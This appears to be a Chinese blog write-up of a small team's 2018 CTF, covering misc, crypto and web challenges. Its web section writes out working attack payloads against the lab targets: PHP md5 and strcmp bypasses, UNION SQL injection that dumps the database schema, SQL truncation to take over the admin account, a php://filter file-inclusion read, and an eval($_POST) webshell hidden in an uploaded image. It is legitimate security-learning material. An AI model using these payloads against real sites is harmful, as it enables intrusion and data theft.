V0W's Blog

SKCTF1 -总结

字数统计: 2,613阅读时长: 12 min
2018/04/14 Share

前言

4-14
小组组内CTF比赛,很多不会的,发现很多问题,打算从做出的和没做出的两方面来总结一下。

GetScore


Msic

山东科技大学

一半在属性信息里,记事本打开最后一行有另一半的BASE64。

阅读理解

一个word文件,查看隐藏文字。

mark

另一半在哪呢?
notepad++打开,发现文件头是PK于是改了后缀.zip,解压后,得到xml文件。
mark

大家来找茬

就是两个文本的比较,网上很容易搜到原文,与给出的文本比较一下,就出来了。
https://tool.lu/diff/
http://www.jq22.com/textDifference

女神的qq号

女神换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。

编程题,暴力python走起。

1
2
3
4
5
6
7
8
9
10
#python2
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for m in range(0,10):
for n in range(0,10):
last = i*10000+j*1000+k*100+m*10+n
new = i+j*10+k*100+m*1000+n*10000
if new == 4*last :
print new

Manchester

曼彻斯特编码
01 -> 0
10 -> 1
0 -> 01
1 -> 10
曼彻斯特编码解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding: utf-8
'''
曼彻斯特编码+计数
'''
print "曼彻斯特编码\n"
file = open('misc.txt','r')
r = file.read()
file.close()
res = ''
count = 0
for i in xrange(len(r)/2):
c = r[i*2:i*2+2]
count +=1
if c=='01':
res += '1'
elif c=='10':
res += '0'
#print res
print count
f = open('res.txt','w')
f.write(res)
f.close()
print "done"

解出来还是一堆的01,但是很明显很多的00000000连在一起很多的11111111连在一起,怀疑是一张黑白点阵图(280*280)。接下来就是python大法来写脚本,生成图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#python 3
from PIL import Image
a = 280
pic = Image.new("RGB",(a,a))
file = open("res.txt",'r')
str = file.read()
file.close()

i=0
for y in range(0,a):
for x in range(0,a):
if(str[i]=='1'):
pic.putpixel([x,y],(0,0,0,))
else:
pic.putpixel([x,y],(255,255,255)) #反过来也可
i += 1
pic.save("flag.png")
print("done")

mark
QRsearch扫描就行。
SKCTF{ManchesterAndRGB}

Crypto

凯撒大帝

一个gif,但是文件头被破坏了,添加标识GIF89a 即可,可以看到密文:
CUMDP{foxs_fsns_fsms}

接下来凯撒解密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
message = 'CUMDP{foxs_fsns_fsms}'
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
letters = 'abcdefghijklmnopqrstuvwxyz'

for key in range(len(LETTERS)):
tran = ''
for i in message:
if i in LETTERS:
num = LETTERS.find(i)
num = num - key
if num < 0:
num = num + len(LETTERS)
tran = tran + LETTERS[num]
elif i in letters:
num = letters.find(i)
num = num - key
if num < 0:
num = num + len(letters)
tran = tran + letters[num]
else:
tran = tran + i
print('key = %s: %s' % (key, tran))

跨过去啊

栅栏密码

三行情书

U0tDVEZ7     BASE64

626162795f49    16进制

L5WDA5TFL5MTA5L5     BASE32

mix

多次的base16,base32,base64加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from base64 import *

result = {
'16':lambda x :b16decode(x),
'32':lambda x :b32decode(x),
'64':lambda x :b64decode(x),
}

flag = open('mix.txt','r')
b = flag.read()
# print b

num = ('16','32','64')

for i in range(20):
for k in num:
try:
b = result[k](b)
if b:
break
else:
continue
except:
pass
print(b)

Web

我还是很爱她

php弱类型
mark
源码有code.txt,如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

显然,v1,v2用著名的就行
md5(‘240610708’) == md5(‘QNKCDZO’)就行,strcmp函数是
strcmp函数比较字符串的本质是将两个变量转换为ascii,然后进行减法运算,然后根据运算结果来决定返回值。

如果传入给出strcmp()的参数是数字呢?

$array=[1,2,3];
var_dump(strcmp($array,'123')); //null,在某种意义上null也就是相当于false。

于是构造payload:

?v1=240610708&v2=QNKCDZO&v3[]=[1,2,3]

payload2:

?v1[]=a&v2[]=b&v3[]=[1,2,3]

payload2的原理在于,md5不处理数组,比较不相等的时候,两个数组不同.

1
2
3
4
5
6
7
 <?php 
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
?>
//结果:yes

山东科技大学

源码里面就有flag的一半,响应头有另一半。

小组人员期末成绩

有回显的sql报错注入。
id=-1’ union select 1,2,3,4 –+
有回显,四个字段。

id=-1' union select database(),2,3,4 --+ 

得到数据库名 skctf_flag

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 

得到表名 fl4g,sc

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' --+ 

得到字段skctf_flag

payload
id=-1’ union select 1,2,3,skctf_flag from fl4g #

SKCTF管理平台

sql约束攻击

在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。

SELECT * FROM users WHERE username=’vampire ‘;

但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。

因此,这题其实就很简单了。原来的数据库我们不知道admin的密码,但是,由于给了我们注册的页面,其实没有对空格做过滤,那么我们就可以注册新的账号‘admin ’,密码自定记得住就行。
SQL语句:

1
INSERT INTO users VALUES('admin','ldl123LDL')

于是该用户将原来的admin覆盖了,于是我们就可以用管理员权限登陆了。

老板结账

mark

刷新一下,页面中的物品价格就又有区别了,但是源码有一定规律,可以通过规律把价格提取出来,作和得到结果,requests提交就行。

bread---5150</br>chicken---3328</br>Salmon---2039</br>halibut---3921</br>trout---4418</br>mackerel---5589</br>lunchmeat---5482</br>beef---4537</br>rice---3096

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import re
url = 'http://192.168.211.105:49170/'
s = requests.Session()
source = s.get(url)
html = source.text
expression = re.findall(r'(?<=---)\d*(?=</br>)', html)
#print(expression)
res = 0
for i in expression:
res += int(i)
print(res)
url += '?money='
url += str(res)
print(s.get(url).text)

mark


NotGet


Misc

流量分析

将你获得的明显信息md5加密之后以SKCTF{xxx}的格式提交

这题没做出来很可惜,一直不知道明显的信息是指什么,我找到http的一个GET请求,但是

第四扩展FS

D公司正在调查一起内部数据泄露事件,锁定嫌疑人小明,取证人员从小明手机中获取了一张图片引起了怀疑。这是一道送分题,提示已经在题目里,日常违规审计中频次有时候非常重要。
flag格式:DDCTF{}

下载下来一个图片12.6M,肯定有猫腻!

Linux:
foremost windows.jpg

解压文件(密码在属性->备注)

得到一堆如同乱码似的的字符串,贼tm大。

mark

注意到提示!!!!
词频统计!!

但是一开始思路还是错了,以为是那种类似凯撒解密似的,但事实上不是的,因为看不出什么规律,于是想到分别统计每个字符的次数,发现一些有意思的东西。
mark

这不就是flag吗?

写了个脚本(练习吧):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import operator

with open('file.txt', mode='r', encoding='utf-8') as inFile:
d={} # 创建一个空字典
word='' # 空字符串以便于连接字符
for char in inFile.read():
word += char # 连接字符
if word in d:
d[word]+=1
word='' # 将word置为空,否则,word值无限增大
else:
d.setdefault(word, 1)
word=''

lst = sorted(d.items(),key = lambda x:int(x[1]),reverse = True)
#print(lst)
d = dict(lst)
#print(d)
for key in d.keys():
print(key,end='')
with open('res.txt', mode='w', encoding='utf-8') as outFile:

for word, freq in d.items():
s = '{0}\t{1}\n'.format(word, freq)
outFile.write(s)

mark
但是注意一下,D出现3950 C:1900
所以D应该算成两个,这样 2000-1950-1900-1850…

即flag:
DDCTF{ka1f4NgxIntAi}

Crypto

转啊转啊转

Hint:密钥前1-3个字符为三个转子的排列顺序(用数字表示) 4-6为转子的起始位置,flag大写
密文:EBBBBDDED
(结果加上skctf{}提交)

Web

献上你的壁纸吧

看到file=index.php?file=hello.php,
猜想是文件包含,于是尝试:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到提示:

<!-- upload.php -->
<h1>NAIVE!!!</h1>

upload.php:
mark

很明显,应该是文件上传漏洞,可是FK的是,我就是一直以为上传图片,通过以后,改成php,就能得到flag了(之前做的题留下惯性思维),感觉自己很SB。
由于该题做了过滤和改名,改不成php,直接连是不行的。

其实应该联系前面的包含漏洞!!!!!
上传木马图片以后:
mark

给了路径,可以进行文件包含访问,文件包含访问时,以php形式解析:
回到index.php

index.php?file=upload/201804150852185399.jpg

mark
但是,似乎将<?php ?>给改了,接下来就是尝试绕过这个就OK了。
查到
可以使用PHP标记

<script language="php">
eval($_POST['a']);
</script>

getshell得到flag。

mark

熟悉吗

熟悉==、之前介绍命令执行的时候,就举的这个例子。

比赛时都没注意响应头:
mark

有tips,base64解码后:

$sql="SELECT username,password FROM admin WHERE username=(".$username.")";
if (!empty($row) && $row[\'password\']===md5($password)){}

万用密码:
‘ union select 1,md5(1)# & passwd=1
登陆
原理:
mark
可以看到,其实admin表里没有任何内容,是空表,但是我们依然可以union select得到查询集。

源码中没有对结果做判断,只是做了是否结果是否存在的判断,导致漏洞的产生。

1
2
3
4
5
$sql="SELECT username,password FROM admin WHERE username=(".$username.")";
$result=mysql_query($sql);
@$row = mysql_fetch_array($result);
if (!empty($row) && $row['password']===md5($password)){
$_SESSION['login']=1;

接下来是命令执行,但是没有回显,需要反弹shell。


暂时这么多,剩下的需要学习学习才能做得出了。。。


2018-4-18 更新
做出了 第四扩展FS,熟悉吗

CATALOG
  1. 1. 前言
  2. 2. GetScore
  3. 3. Msic
    1. 3.1. 山东科技大学
    2. 3.2. 阅读理解
    3. 3.3. 大家来找茬
    4. 3.4. 女神的qq号
    5. 3.5. Manchester
  4. 4. Crypto
    1. 4.1. 凯撒大帝
    2. 4.2. 跨过去啊
    3. 4.3. 三行情书
    4. 4.4. mix
  5. 5. Web
    1. 5.1. 我还是很爱她
    2. 5.2. 山东科技大学
    3. 5.3. 小组人员期末成绩
    4. 5.4. SKCTF管理平台
    5. 5.5. 老板结账
  6. 6. NotGet
  7. 7. Misc
    1. 7.1. 流量分析
    2. 7.2. 第四扩展FS
  8. 8. Crypto
    1. 8.1. 转啊转啊转
  9. 9. Web
    1. 9.1. 献上你的壁纸吧
    2. 9.2. 熟悉吗